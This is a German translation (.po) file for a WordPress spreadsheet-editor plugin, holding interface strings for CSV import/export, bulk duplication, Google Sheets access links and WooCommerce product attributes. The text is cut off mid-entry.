                • " #: frontend-sheet/views/backend/metabox.php:136 msgid "Administrator role can view and edit everything." msgstr "Administratoren können alles anzeigen und bearbeiten." #: frontend-sheet/views/frontend/page-template.php:69 msgid "Primary Menu" msgstr "Hauptmenü" #. translators: %s: Name of current post #: frontend-sheet/views/frontend/page-template.php:117 msgid "Edit \"%s\"" msgstr "\"%s\" bearbeiten" #: posts-templates/posts-templates.php:65 msgid "Duplicate items in bulk" msgstr "Mengen von Elementen duplizieren" #: posts-templates/posts-templates.php:71 msgid "Duplicate this item:" msgstr "Dieses Element duplizieren:" #: posts-templates/posts-templates.php:72 msgid "Enter item name..." msgstr "Elementname eingeben..." #: posts-templates/posts-templates.php:77 msgid "How many copies do you want?" msgstr "Wie viele Exemplare möchtest du?" #: posts-templates/posts-templates.php:79 msgid "" "Note. More than 75 copies at once might overload the server. Do it in small " "batches.
                  You can continue if you think your server can handle it." msgstr "" "Achtung: Mehr als 75 Kopien auf einmal können den Server überlasten. Tu dies " "in kleinen Zyklen.
                  Du kannst fortfahren, wenn du glaubst, dass dein " "Server damit umgehen kann." #: posts-templates/posts-templates.php:86 #: woocommerce/views/spreadsheet-create-variations-modal.php:104 msgid "Execute" msgstr "Ausführen" #: posts-templates/posts-templates.php:102 msgid "Duplicate items in bulk." msgstr "Mengen von Elementen duplizieren." #: posts-templates/posts-templates.php:103 msgid "Duplicate" msgstr "Duplizieren" #: posts-templates/posts-templates.php:166 msgid "Template item not found or not allowed to be duplicated." msgstr "" "Vorlagenelement nicht gefunden, oder es darf nicht vervielfältigt werden." #: spreadsheet-setup/spreadsheet-setup.php:62 msgid "Enable new spreadsheet" msgstr "Neues Arbeitsblatt aktivieren" #: spreadsheet-setup/spreadsheet-setup.php:175 msgid "Post type deleted" msgstr "Beitragstyp gelöscht" #: spreadsheet-setup/spreadsheet-setup.php:275 msgid "Setup spreadsheet" msgstr "Arbeitsblatt einrichten" #: spreadsheet-setup/views/page.php:13 msgid "Set up Spreadsheet" msgstr "Arbeitsblatt einrichten" #: spreadsheet-setup/views/page.php:17 #: wp-sheet-editor/dev/views/quick-setup.php:39 msgid "" "You can start using the spreadsheet editor in just 5 minutes. Please follow " "these steps." msgstr "" "Du kannst den Tabelleneditor in nur 5 Minuten benutzen. Bitte folge diesen " "Schritten." #: spreadsheet-setup/views/page.php:31 msgid "" "Are you sure you want to delete the post type? You will delete the posts in " "the post type as well" msgstr "" "Bist du sicher, dass du die Beitragsart löschen möchtest? Du löschst damit " "auch die Beiträge mit dieser Beitragsart" #: spreadsheet-setup/views/page.php:35 #: wp-sheet-editor/dev/views/quick-setup.php:46 msgid "" "Select the information that you want to edit with the spreadsheet editor." msgstr "" "Wähle die Informationen aus, die du mit dem Tabelleneditor bearbeiten " "möchtest." #: spreadsheet-setup/views/page.php:38 msgid "Add new post type" msgstr "Neuen Beitragstyp hinzufügen" #: spreadsheet-setup/views/page.php:45 #: wp-sheet-editor/dev/inc/api/bootstrap.php:185 msgid "Advanced settings" msgstr "Erweiterte Einstellungen" #: spreadsheet-setup/views/page.php:45 msgid "Label" msgstr "Bezeichnung" #: spreadsheet-setup/views/page.php:45 msgid "Key" msgstr "Schlüssel" #: universal-sheet/inc/csv-api.php:159 msgid "Allow to import images from FTP servers?" msgstr "Import von Bildern von FTP-Servern zulassen?" #: universal-sheet/inc/csv-api.php:160 msgid "" "By default, the importer allows to save images using full internal URLs, " "external URLs, file name (from the media library), and file ID. If you " "activate this option, it will support FTP urls like this: ftp://user:" "password@host:port/path/to/image.png. This will make the import slower" msgstr "" "Standardmäßig erlaubt die Importroutine das Speichern von Bildern unter " "Verwendung vollständiger interner URLs, externer URLs, des Dateinamens (aus " "der Medienbibliothek) und der Datei-ID. Wenn du diese Option aktivierst, " "werden FTP-URLs wie diese unterstützt: ftp://user:password@host:port/path/to/" "image.png. Dadurch wird der Import langsamer" #: universal-sheet/inc/csv-api.php:166 msgid "FTP Images: Skip images with same file name?" msgstr "FTP-Bilder: Bilder mit demselben Dateinamen überspringen?" #: universal-sheet/inc/csv-api.php:167 msgid "" "When you import an image using FTP urls, the image is imported every time " "and you might end up with duplicates in the media library. Activate this " "option to reuse images in the media library with same file name and avoid " "downloading the FTP image again on future imports. Deactivate this option if " "you want to keep the images updated on future imports." msgstr "" "Wenn du ein Bild unter Verwendung von FTP-URLs importierst, wird das Bild " "jedes Mal importiert, und es kann sein, dass du am Ende Duplikate in der " "Medienbibliothek hast. Aktiviere diese Option, um Bilder in der " "Medienbibliothek mit demselben Dateinamen wiederzuverwenden und bei " "zukünftigen Importen das erneute Herunterladen des FTP-Bildes zu vermeiden. " "Deaktiviere diese Option, wenn du die Bilder bei zukünftigen Importen " "aktuell halten willst." #: universal-sheet/inc/csv-api.php:215 msgid "The export does not exist. Please export again." msgstr "Der Export existiert nicht. Bitte exportiere erneut." #: universal-sheet/inc/csv-api.php:370 msgid "Missing required field \"data\"." msgstr "Fehlendes Pflichtfeld \"Daten\"." #: universal-sheet/inc/csv-api.php:458 msgid "Missing required field. Please start the process again." msgstr "Pflichtfeld fehlt. Bitte starte den Prozess erneut." #: universal-sheet/inc/csv-api.php:463 msgid "Not allowed." msgstr "Nicht erlaubt." #: universal-sheet/inc/csv-api.php:692 msgid "" "%d of %d items have been processed from the file. {total_updated} items " "updated and {total_created} items created." msgstr "" "%d von %d Elementen sind aus der Datei verarbeitet worden. {total_updated} " "Elemente wurden aktualisiert und {total_created} Elemente wurden erstellt." #: universal-sheet/inc/csv-api.php:715 msgid "Not allowed. Please start the process again." msgstr "Nicht erlaubt. Bitte starte den Prozess erneut." #: universal-sheet/inc/csv-api.php:732 msgid "Wrong file url" msgstr "Falsche Datei-URL" #: universal-sheet/inc/csv-api.php:736 universal-sheet/inc/csv-api.php:751 #: universal-sheet/inc/csv-api.php:778 msgid "Wrong file extension. We accept CSV only" msgstr "Falsche Dateierweiterung. Wir akzeptieren nur CSV" #: universal-sheet/inc/csv-api.php:746 universal-sheet/inc/csv-api.php:783 msgid "File could not be uploaded. Please start the process again." msgstr "" "Datei konnte nicht hochgeladen werden. Bitte starte den Vorgang erneut." #: universal-sheet/inc/csv-api.php:759 msgid "Wrong data format" msgstr "Falsches Datenformat" #: universal-sheet/inc/csv-api.php:793 msgid "" "File uploaded succesfully but it's not a valid CSV file or it uses the wrong " "encoding. If you edited the file in Excel, verify it was saved as UTF-8 and " "keep in mind that, sometimes copy pasting from external places adds invalid " "characters. So make sure you paste only the values and not paste the " "formatting to avoid pasting invalid characters." msgstr "" "Die Datei wurde erfolgreich hochgeladen, aber es handelt sich nicht um eine " "gültige CSV-Datei oder sie verwendet die falsche Kodierung. Wenn du die " "Datei in Excel bearbeitet hast, vergewissere dich, dass sie als UTF-8 " "gespeichert wurde, und bedenke, dass beim Einfügen von Kopien von externen " "Stellen manchmal ungültige Zeichen hinzugefügt werden. Stell also sicher, " "dass du nur die Werte und nicht die Formatierung einfügst, um das Einfügen " "ungültiger Zeichen zu vermeiden." #: universal-sheet/inc/csv-api.php:945 msgid "Processing: %d of %d rows have been exported." msgstr "Verarbeitung: %d von %d Zeilen wurden exportiert." #: universal-sheet/inc/csv-api.php:955 msgid "" "

                  The export finished.

                  The download should start automatically." msgstr "" "

                  Der Export ist abgeschlossen.

                  Der Download sollte automatisch " "starten." #: universal-sheet/inc/csv-api.php:957 msgid "" " If it doesn't start automatically you can find the file in the folder /wp-" "content/uploads/wp-sheet-editor-universal-sheet/exports/ on your server." "

                  The export files are deleted automatically after %d hours." msgstr "" " Wenn er nicht automatisch startet, findest du die Datei im Ordner /wp-" "content/uploads/wp-sheet-editor-universal-sheet/exports/ auf deinem Server." "

                  Die Exportdateien werden nach %d Stunden automatisch gelöscht." #: universal-sheet/inc/google-sheets.php:51 #: universal-sheet/inc/google-sheets.php:65 #: universal-sheet/views/edit-google-sheets-modal.php:4 msgid "Edit in Google Sheets" msgstr "In Google Sheets bearbeiten" #: universal-sheet/inc/google-sheets.php:51 msgid "" "1. Open Google Sheets." "
                  2. Click on \"wp sheet editor\" in the menu
                  3. Enter this link in the " "\"quick access\" option in the Google Sheet sidebar." msgstr "" "1. Öffne Google Sheets." "
                  2. Klicke auf \"WP Sheet Editor\" im Menü
                  3 . Gib diesen Link in die " "Option \"Schnellzugriff\" in der Seitenleiste von Google Sheet ein." #: universal-sheet/inc/google-sheets.php:51 msgid "" "Use this link privately for security reasons, this link expires after one " "usage." msgstr "" "Benutze diesen Link aus Sicherheitsgründen privat, dieser Link verfällt nach " "einmaliger Benutzung." #: universal-sheet/inc/rest-api.php:261 msgid "JWT is not configurated properly, please contact the admin" msgstr "" "JWT ist nicht richtig konfiguriert, bitte kontaktiere den Administrator" #: universal-sheet/inc/rest-api.php:315 msgid "The quick access link has expired or it does not exist" msgstr "Der Schnellzugriffslink ist abgelaufen oder existiert nicht" #: universal-sheet/universal-sheet.php:92 msgid "Ignore this column" msgstr "Diese Spalte ignorieren" #: universal-sheet/universal-sheet.php:100 #: universal-sheet/views/import-modal.php:131 msgid "Full URL" msgstr "Vollständige URL" #: universal-sheet/universal-sheet.php:136 msgid "Export" msgstr "Exportieren" #: universal-sheet/universal-sheet.php:161 msgid "Download CSV file" msgstr "CSV-Datei herunterladen" #: universal-sheet/universal-sheet.php:169 msgid "Import" msgstr "Importieren" #: universal-sheet/views/edit-google-sheets-modal.php:5 msgid "Note. This works in Google Chrome only." msgstr "Achtung: Dies funktioniert nur in Google Chrome." #: universal-sheet/views/edit-google-sheets-modal.php:8 msgid "" "Add this code at the beginning of the .htaccess file in the root directory " "of your website. It is required for authenticating requests between Google " "Sheets and WordPress" msgstr "" "Füge diesen Code am Anfang der .htaccess-Datei im Stammverzeichnis deiner " "Website ein. Er ist für die Authentifizierung von Anfragen zwischen Google " "Sheets und WordPress erforderlich" #: universal-sheet/views/edit-google-sheets-modal.php:13 msgid "" "Install the \"WP Sheet Editor\" chrome extension. Install" msgstr "" "Die Chrome-Erweiterung \"WP Sheet Editor\" installieren. Installieren" #: universal-sheet/views/edit-google-sheets-modal.php:14 msgid "" "Open Google Sheets. Click here" msgstr "" "Google Sheets öffnen. Hier klicken" #: universal-sheet/views/edit-google-sheets-modal.php:15 msgid "In Google Sheets > top toolbar. Open the \"WordPress\" option." msgstr "" "In Google Sheets > obere Werkzeugleiste. Öffne die Option \"WordPress\"." #: universal-sheet/views/edit-google-sheets-modal.php:16 msgid "" "Copy this access link and paste it in Google Sheets. Get quick access link" msgstr "" "Diesen Zugangslink kopieren und in Google Sheets einfügen. Link für den Schnellzugriff" #: universal-sheet/views/edit-google-sheets-modal.php:18 msgid "" "You must use it privately for security reasons, this link expires after one " "usage." msgstr "" "Du musst es aus Sicherheitsgründen privat nutzen, dieser Link verfällt nach " "einmaliger Nutzung." #: universal-sheet/views/export-modal.php:8 msgid "" "The export feature is not compatible with your website. Make sure WordPress " "and all the plugins and themes are up to date." msgstr "" "Die Exportfunktion ist nicht mit deiner Website kompatibel. Stell sicher, " "dass WordPress und alle Plugins und Themen auf dem neuesten Stand sind." #: universal-sheet/views/export-modal.php:11 #: universal-sheet/views/export-modal.php:19 msgid "Export to CSV" msgstr "Als CSV exportieren" #: universal-sheet/views/export-modal.php:22 msgid "What columns do you want to export?" msgstr "Welche Spalten möchtest du exportieren?" #: universal-sheet/views/export-modal.php:31 msgid "Select active columns" msgstr "Aktive Spalten auswählen" #: universal-sheet/views/export-modal.php:31 woocommerce/inc/attributes.php:187 #: woocommerce/inc/attributes.php:203 msgid "Select all" msgstr "Alles auswählen" #: universal-sheet/views/export-modal.php:31 msgid "Unselect all" msgstr "Alle abwählen" #: universal-sheet/views/export-modal.php:35 msgid "I understand it will export all the rows from my current search." msgstr "" "Ich weiß, dass alle Zeilen aus meiner aktuellen Suche exportiert werden." #: universal-sheet/views/export-modal.php:35 msgid "" "For example, if you searched for posts by \"author = Mark\" using the search " "tool, we will export only posts with \"author Mark\"" msgstr "" "Wenn du zum Beispiel mit dem Suchwerkzeug nach Beiträgen mit \"Autor = Mark" "\" gesucht hast, exportieren wir nur Beiträge mit \"Autor Mark\"" #: universal-sheet/views/export-modal.php:38 msgid "What app will you use to edit this file? (optional)" msgstr "" "Welche Anwendung wirst du zur Bearbeitung dieser Datei verwenden? (optional)" #: universal-sheet/views/export-modal.php:40 msgid "--" msgstr "--" #: universal-sheet/views/export-modal.php:41 msgid "Microsoft Excel (Office 365)" msgstr "Microsoft Excel (Office 365)" #: universal-sheet/views/export-modal.php:42 msgid "Other versions of Microsoft Excel" msgstr "Andere Versionen von Microsoft Excel" #: universal-sheet/views/export-modal.php:43 msgid "Google Sheets" msgstr "Google Sheets" #: universal-sheet/views/export-modal.php:44 msgid "Other" msgstr "Andere" #: universal-sheet/views/export-modal.php:51 msgid "Name of this export (optional)" msgstr "Name dieses Exports (optional)" #: universal-sheet/views/export-modal.php:51 msgid "" "We will save the current search query and export settings, and you can " "execute this export with one click in the future using the dropdown in the " "export menu" msgstr "" "Wir werden die aktuelle Suchanfrage und die Exporteinstellungen speichern, " "und du kannst diesen Export in Zukunft mit einem Klick über das Dropdown-" "Menü im Exportmenü ausführen" #: universal-sheet/views/export-modal.php:67 msgid "Start new export" msgstr "Neuen Export starten" #: universal-sheet/views/import-modal.php:9 msgid "" "The import feature is not compatible with your website. Make sure WordPress " "and all the plugins and themes are up to date." msgstr "" "Die Importfunktion ist nicht mit deiner Website kompatibel. Stell sicher, " "dass WordPress und alle Plugins und Themen auf dem neuesten Stand sind." #: universal-sheet/views/import-modal.php:12 #: universal-sheet/views/import-modal.php:22 msgid "Import csv" msgstr "CSV importieren" #: universal-sheet/views/import-modal.php:23 msgid "Source" msgstr "Quelle" #: universal-sheet/views/import-modal.php:26 msgid "CSV file from my computer" msgstr "CSV-Datei von meinem Computer" #: universal-sheet/views/import-modal.php:27 msgid "CSV file from url" msgstr "CSV-Datei von URL" #: universal-sheet/views/import-modal.php:28 msgid "Copy & paste from another spreadsheet or table" msgstr "" "Aus einem anderen Arbeitsblatt oder einer Tabelle kopieren und einfügen" #: universal-sheet/views/import-modal.php:29 msgid "CSV file in the server" msgstr "CSV-Datei auf dem Server" #: universal-sheet/views/import-modal.php:33 msgid "CSV file" msgstr "CSV-Datei" #: universal-sheet/views/import-modal.php:35 #: universal-sheet/views/import-modal.php:40 #: universal-sheet/views/import-modal.php:46 #: universal-sheet/views/import-modal.php:51 #: universal-sheet/views/import-modal.php:94 #: universal-sheet/views/import-modal.php:152 msgid "Next" msgstr "Nächster" #: universal-sheet/views/import-modal.php:43 msgid "Copy and Paste into the spreadsheet below" msgstr "In das Arbeitsblatt unten kopieren und einfügen" #: universal-sheet/views/import-modal.php:49 msgid "CSV file location" msgstr "Speicherort der CSV-Datei" #: universal-sheet/views/import-modal.php:53 msgid "Show advanced options" msgstr "Erweiterte Optionen anzeigen" #: universal-sheet/views/import-modal.php:56 msgid "Separator" msgstr "Trennzeichen" #: universal-sheet/views/import-modal.php:60 msgid "Start from row number:" msgstr "Beginne bei Zeilennummer:" #: universal-sheet/views/import-modal.php:60 msgid "" "If you stop an import to edit your CSV file or change the import speed, you " "can start a new import and continue from where you left off." msgstr "" "Wenn du einen Import stoppst, um deine CSV-Datei zu bearbeiten oder die " "Importgeschwindigkeit zu ändern, kannst du einen neuen Import starten und an " "der Stelle fortfahren, an der du aufgehört hast." #: universal-sheet/views/import-modal.php:64 msgid "Decode quotes?" msgstr "Anführungszeichen dekodieren?" #: universal-sheet/views/import-modal.php:67 msgid "Auto retry failed batches?" msgstr "Automatische Wiederholung fehlgeschlagener Vorgänge?" #: universal-sheet/views/import-modal.php:67 msgid "" "We import the file in batches (i.e. 4 rows every few seconds). When one " "batch fails, we normally pause the import and ask you if you want to retry " "or cancel the import. Select this option to auto retry. Careful, you need to " "select the option to update existing rows in step 3 of the import, so we can " "retry and skip what was imported successfully and only retry what failed, if " "you dont select the option to update in step 3 of the import, every retry " "might duplicate some previously imported rows." msgstr "" "Wir importieren die Datei in Zyklen (d.h. 4 Zeilen alle paar Sekunden). Wenn " "ein Verarbeitungszyklus fehlschlägt, unterbrechen wir normalerweise den " "Import und fragen dich, ob du den Import erneut versuchen oder abbrechen " "möchtest. Wähle diese Option, um den Import automatisch zu wiederholen. " "Vorsicht: Du musst in Schritt 3 des Imports die Option zum Aktualisieren " "vorhandener Zeilen wählen, damit wir bei der Wiederholung den erfolgreichen " "Import überspringen und nur den fehlgeschlagenen Versuch wiederholen können. " "Wenn du in Schritt 3 des Imports nicht die Option zum Aktualisieren wählst, " "könnte jede Wiederholung einige zuvor importierte Zeilen duplizieren." #: universal-sheet/views/import-modal.php:72 msgid "" "Tip. You can use the \"export\" tool to download a CSV and see the available " "columns and format.
                  You can read our documentation here." msgstr "" "Tipp: Du kannst das \"Export\"-Tool verwenden, um ein CSV herunterzuladen " "und die verfügbaren Spalten und das Format anzuzeigen.
                  Du kannst unsere " "Dokumentation hierlesen." #: universal-sheet/views/import-modal.php:78 msgid "Select columns to import" msgstr "Zu importierende Spalten auswählen" #: universal-sheet/views/import-modal.php:79 msgid "" "Important. We only detected one column in the CSV file. If this is " "incorrect, follow these steps to fix it" msgstr "" "Wichtig: Wir haben nur eine Spalte in der CSV-Datei erkannt. Wenn dies " "falsch ist, führe die folgenden Schritte aus, um den Fehler zu beheben" #: universal-sheet/views/import-modal.php:80 msgid "We automatically detected all the columns." msgstr "Wir haben alle Spalten automatisch erkannt." #: universal-sheet/views/import-modal.php:80 msgid "Import all the columns" msgstr "Alle Spalten importieren" #: universal-sheet/views/import-modal.php:80 msgid "or" msgstr "oder" #: universal-sheet/views/import-modal.php:80 msgid "Select individual columns to import" msgstr "Einzelne Spalten zum Importieren auswählen" #: universal-sheet/views/import-modal.php:82 msgid "" "Tip. If you edited information from this site, you should import the columns " "edited and record_id. Don't import columns that weren't modified" msgstr "" "Tipp: Wenn du Informationen von dieser Website bearbeitet hast, solltest du " "die bearbeiteten Spalten und die Datensatz-ID (record_id) importieren. " "Importiere keine Spalten, die nicht geändert wurden" #: universal-sheet/views/import-modal.php:84 msgid "Unselect all columns" msgstr "Alle Spalten abwählen" #: universal-sheet/views/import-modal.php:85 msgid "CSV Column" msgstr "CSV-Spalte" #: universal-sheet/views/import-modal.php:85 msgid "WordPress field" msgstr "WordPress-Feld" #: universal-sheet/views/import-modal.php:87 msgid "Example: " msgstr "Beispiel: " #: universal-sheet/views/import-modal.php:93 #: universal-sheet/views/import-modal.php:151 #: universal-sheet/views/import-modal.php:159 msgid "Previous" msgstr "Vorherige" #: universal-sheet/views/import-modal.php:97 msgid "Do you want to update or create items?" msgstr "Möchtest du Elemente aktualisieren oder erstellen?" #: universal-sheet/views/import-modal.php:100 msgid "Create new items and update existing items" msgstr "Neue Elemente erstellen und bestehende Elemente aktualisieren" #: universal-sheet/views/import-modal.php:101 msgid "Import all rows as new" msgstr "Alle Zeilen als neu importieren" #: universal-sheet/views/import-modal.php:102 msgid "Only create new items, ignore existing items" msgstr "Nur neue Elemente erstellen, vorhandene Elemente ignorieren" #: universal-sheet/views/import-modal.php:103 msgid "Update existing items, ignore new items" msgstr "Vorhandene Elemente aktualisieren, neue Elemente ignorieren" #: universal-sheet/views/import-modal.php:106 msgid "How do we find existing items to update?" msgstr "Wie finden wir bestehende Artikel zur Aktualisierung?" #: universal-sheet/views/import-modal.php:110 msgid "" "We find rows with the same value in the CSV Field and the WP Field.
                  I.e. " "Products with same SKU or ID." msgstr "" "Wir finden Zeilen mit dem gleichen Wert im CSV-Feld und im WP-Feld.
                  D.h. " "Produkte mit derselben SKU oder ID." #: universal-sheet/views/import-modal.php:112 msgid "" "You selected a column from the CSV file below but the column is not " "
                  being imported. Please go to the previous step and select the column to " "be imported.
                  Hypothetical example, if you want to update existing " "products with same ID, you need to import the ID column otherwise we don't " "have the IDs to find them." msgstr "" "Du hast eine Spalte aus der CSV-Datei unten ausgewählt, aber die Spalte wird " "nicht
                  importiert. Bitte geh zum vorherigen Schritt und wähle die zu " "importierende Spalte aus.
                  Hypothetisches Beispiel: Wenn du bestehende " "Produkte mit derselben ID aktualisieren möchtest, musst du die ID-Spalte " "importieren, da wir sonst nicht über die IDs verfügen, um sie zu finden." #: universal-sheet/views/import-modal.php:114 msgid "CSV Field" msgstr "CSV-Feld" #: universal-sheet/views/import-modal.php:120 msgid "WordPress Field" msgstr "WordPress-Feld" #: universal-sheet/views/import-modal.php:138 msgid "Field 2: CSV Field" msgstr "Feld 2: CSV-Feld" #: universal-sheet/views/import-modal.php:144 msgid "Field 2: WordPress Field" msgstr "Feld 2: WordPress-Feld" #: universal-sheet/views/import-modal.php:155 msgid "Final step" msgstr "Letzter Schritt" #: universal-sheet/views/import-modal.php:156 msgid "" "1. Are we reading the file properly? Here is a preview of the first 5 rows " "from the file." msgstr "" "1. Lesen wir die Datei richtig? Hier ist eine Vorschau der ersten 5 Zeilen " "aus der Datei." #: universal-sheet/views/import-modal.php:158 msgid "" "2. Please make a backup before executing the import, so you can revert in " "case you used wrong settings or the file was wrong. The import will save the " "information directly." msgstr "" "2. Bitte mach vor dem Ausführen des Imports eine Sicherheitskopie, damit du " "den Vorgang im Falle falscher Einstellungen oder einer falschen Datei " "rückgängig machen kannst. Durch den Import werden die Informationen direkt " "gespeichert." #: universal-sheet/views/import-modal.php:170 msgid "The preview is fine, start import" msgstr "Die Vorschau ist in Ordnung, starte den Import" #: universal-sheet/views/import-modal.php:171 msgid "Cancel import" msgstr "Import abbrechen" #: universal-sheet/views/import-modal.php:174 msgid "Importing" msgstr "Importiere" #: universal-sheet/views/import-modal.php:182 msgid "View log" msgstr "Logdatei anzeigen" #: woocommerce/inc/attributes.php:42 woocommerce/inc/attributes.php:487 msgid "Product attributes" msgstr "Produktattribute" #: woocommerce/inc/attributes.php:154 msgid "Change attribute settings" msgstr "Attribut-Einstellungen ändern" #: woocommerce/inc/attributes.php:162 msgid "What setting do you want to change?" msgstr "Welche Einstellung möchtest du ändern?" #: woocommerce/inc/attributes.php:164 msgid "Is Visible?" msgstr "Sichtbar?" #: woocommerce/inc/attributes.php:164 msgid "Used for Variations?" msgstr "Für Varianten verwendet?" #: woocommerce/inc/attributes.php:167 msgid "New value" msgstr "Neuer Wert" #: woocommerce/inc/attributes.php:169 msgid "No" msgstr "Nein" #: woocommerce/inc/attributes.php:169 msgid "Yes" msgstr "Ja" #: woocommerce/inc/attributes.php:172 msgid "What attribute do you want to edit?" msgstr "Welches Attribut möchtest du bearbeiten?" #: woocommerce/inc/attributes.php:461 msgid "Custom attribute: %s" msgstr "Benutzerdefiniertes Attribut: %s" #: woocommerce/inc/attributes.php:474 msgid "Enter multiple attributes separated by |" msgstr "Mehrere Attribute eingeben, getrennt durch |" #: woocommerce/inc/attributes.php:497 woocommerce/inc/attributes.php:499 msgid "Edit attributes" msgstr "Attribute bearbeiten" #: woocommerce/inc/attributes.php:500 msgid "" "Note: Separate values with the character %s
                  We recommend using Global " "Attributes if you will use them in many products.
                  Create Global Attribute
                  Global attributes have their own " "columns in the spreadsheet. You can edit them in the columns (faster) or " "using this popup.
                  If you are " "editing the attributes of variations, the variation must be enabled, " "otherwise the attributes won't be saved." msgstr "" "Hinweis: Trenne Werte mit dem Zeichen %s
                  Wir empfehlen die Verwendung " "von Globalen Attributen, wenn du diese in vielen Produkten verwendest.Globales Attribut erstellen
                  Globale " "Attribute haben ihre eigenen Spalten im Arbeitsblatt. Du kannst sie in den " "Spalten (schneller) oder mit Hilfe dieses Popup-Fensters bearbeiten.
                  Wenn du die Attribute von " "Varianten bearbeitest, muss die Variante aktiviert sein, sonst werden die " "Attribute nicht gespeichert." #: woocommerce/inc/attributes.php:535 woocommerce/inc/attributes.php:536 #: woocommerce/inc/downloadable.php:226 woocommerce/inc/downloadable.php:227 #: woocommerce/inc/variations.php:415 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:803 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:804 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:881 msgid "Name" msgstr "Name" #: woocommerce/inc/attributes.php:535 msgid "Is visible?" msgstr "Sichtbar?" #: woocommerce/inc/attributes.php:535 msgid "Used for variation?" msgstr "Für Variante verwendet?" #: woocommerce/inc/downloadable.php:111 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:602 msgid "Downloadable" msgstr "Herunterladbar" #: woocommerce/inc/downloadable.php:128 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:736 msgid "Download limit" msgstr "Downloadlimit" #: woocommerce/inc/downloadable.php:140 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:748 msgid "Download expiry" msgstr "Download-Ablaufdatum" #: woocommerce/inc/downloadable.php:152 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:760 msgid "Download type" msgstr "Download-Typ" #: woocommerce/inc/downloadable.php:156 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:764 msgid "Standard Product" msgstr "Standardprodukt" #: woocommerce/inc/downloadable.php:157 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:765 msgid "Application/Software" msgstr "Anwendung/Software" #: woocommerce/inc/downloadable.php:158 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:766 msgid "Music" msgstr "Musik" #: woocommerce/inc/downloadable.php:166 msgid "Download files : names" msgstr "Dateien herunterladen : Namen" #: woocommerce/inc/downloadable.php:174 msgid "" "This is optional. Leave empty to use the name from the URLs. Enter multiple " "names separated by commas" msgstr "" "Dies ist optional. Lass das Feld leer, um den Namen aus den URLs zu " "verwenden. Gib mehrere durch Kommata getrennte Namen ein" #: woocommerce/inc/downloadable.php:182 msgid "Download files : URLs" msgstr "Dateien herunterladen : URLs" #: woocommerce/inc/downloadable.php:189 msgid "Enter multiple URLs separated by commas" msgstr "Mehrere URLs eingeben, getrennt durch Kommata" #: woocommerce/inc/downloadable.php:198 woocommerce/inc/downloadable.php:202 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:775 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:779 msgid "Download files" msgstr "Dateien herunterladen" #: woocommerce/inc/downloadable.php:200 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:777 msgid "Edit files" msgstr "Dateien bearbeiten" #: woocommerce/inc/downloadable.php:203 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:780 msgid "" "Copy files from this product: (You need to save the changes afterwards.)" msgstr "" "Aus diesem Produkt Dateien kopieren: (Du musst die Änderungen anschließend " "speichern)" #: woocommerce/inc/downloadable.php:203 #: woocommerce/views/spreadsheet-create-variations-modal.php:20 #: woocommerce/views/spreadsheet-create-variations-modal.php:47 #: woocommerce/views/spreadsheet-create-variations-modal.php:83 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:780 msgid "Select product..." msgstr "Produkt auswählen..." #: woocommerce/inc/downloadable.php:226 woocommerce/inc/downloadable.php:227 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:803 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:804 msgid "File (url or path)" msgstr "Datei (URL oder Pfad)" #: woocommerce/inc/downloadable.php:253 msgid "" "We will save these files. Existing files will be overwritten. Enter file URL " "only, you can enter multiple URLs separated by comma." msgstr "" "Wir werden diese Dateien speichern. Bestehende Dateien werden überschrieben. " "Gib nur die Datei-URL ein, du kannst mehrere durch Kommata getrennte URLs " "eingeben." #: woocommerce/inc/downloadable.php:257 msgid "" "We will append the new file to the existing files in the products. Enter " "file URL only, you can enter multiple URLs separated by comma." msgstr "" "Wir werden die neue Datei an die bestehenden Dateien in den Produkten " "anhängen. Gib nur die Datei-URL ein, du kannst mehrere durch Kommata " "getrennte URLs eingeben." #: woocommerce/inc/downloadable.php:337 woocommerce/inc/variations.php:1058 msgid "Please select a product." msgstr "Bitte wähle ein Produkt aus." #: woocommerce/inc/downloadable.php:361 msgid "Files saved." msgstr "Dateien gespeichert." #: woocommerce/inc/downloadable.php:364 msgid "The files could not be saved." msgstr "Die Dateien konnten nicht gespeichert werden." #: woocommerce/inc/import-export.php:53 msgid "Skip broken images?" msgstr "Zerstörte Bilder überspringen?" #: woocommerce/inc/import-export.php:53 msgid "" "By the default, the import stops when a product references a broken images " "and you have to correct the issue in the file and start a new import. Enable " "this option and we will let you import products without images when the " "image url is broken" msgstr "" "Standardmäßig stoppt der Import, wenn ein Produkt auf ein defektes Bild " "verweist, und du musst das Problem in der Datei korrigieren und einen neuen " "Import starten. Aktiviere diese Option, um Produkte ohne Bilder zu " "importieren, wenn die Bild-URL defekt ist" #: woocommerce/inc/import-export.php:60 msgid "Downloads" msgstr "Downloads" #: woocommerce/inc/import-export.php:61 msgid "Attributes" msgstr "Eigenschaften" #: woocommerce/inc/import-export.php:186 msgid "" "Here is a sample CSV containing all " "types of products." msgstr "" "Hier ist ein Muster-CSV, das alle Arten " "von Produkten enthält." #: woocommerce/inc/import-export.php:331 msgid "" "One variation row has a parent product that does not exist. The \"parent\" " "column contains the %s: %s. Please correct it and start a new import" msgstr "" "Eine Zeile für Varianten hat ein übergeordnetes Produkt, das nicht " "existiert. Die Spalte \"übergeordnetes Produkt\" enthält die %s: %s. Bitte " "korrigiere sie und starte einen neuen Import" #: woocommerce/inc/variations.php:28 #: woocommerce/views/spreadsheet-create-variations-modal.php:9 #: woocommerce/views/spreadsheet-create-variations-modal.php:69 #: wp-sheet-editor/dev/inc/api/editor.php:72 msgid "Create variations" msgstr "Varianten erstellen" #: woocommerce/inc/variations.php:30 msgid "Create and copy variations for variable products." msgstr "Varianten für variable Produkte erstellen und kopieren." #: woocommerce/inc/variations.php:38 msgid "Display variations" msgstr "Varianten anzeigen" #: woocommerce/inc/variations.php:40 msgid "" "When this is enabled the products variations will be displayed and you will " "be able to edit 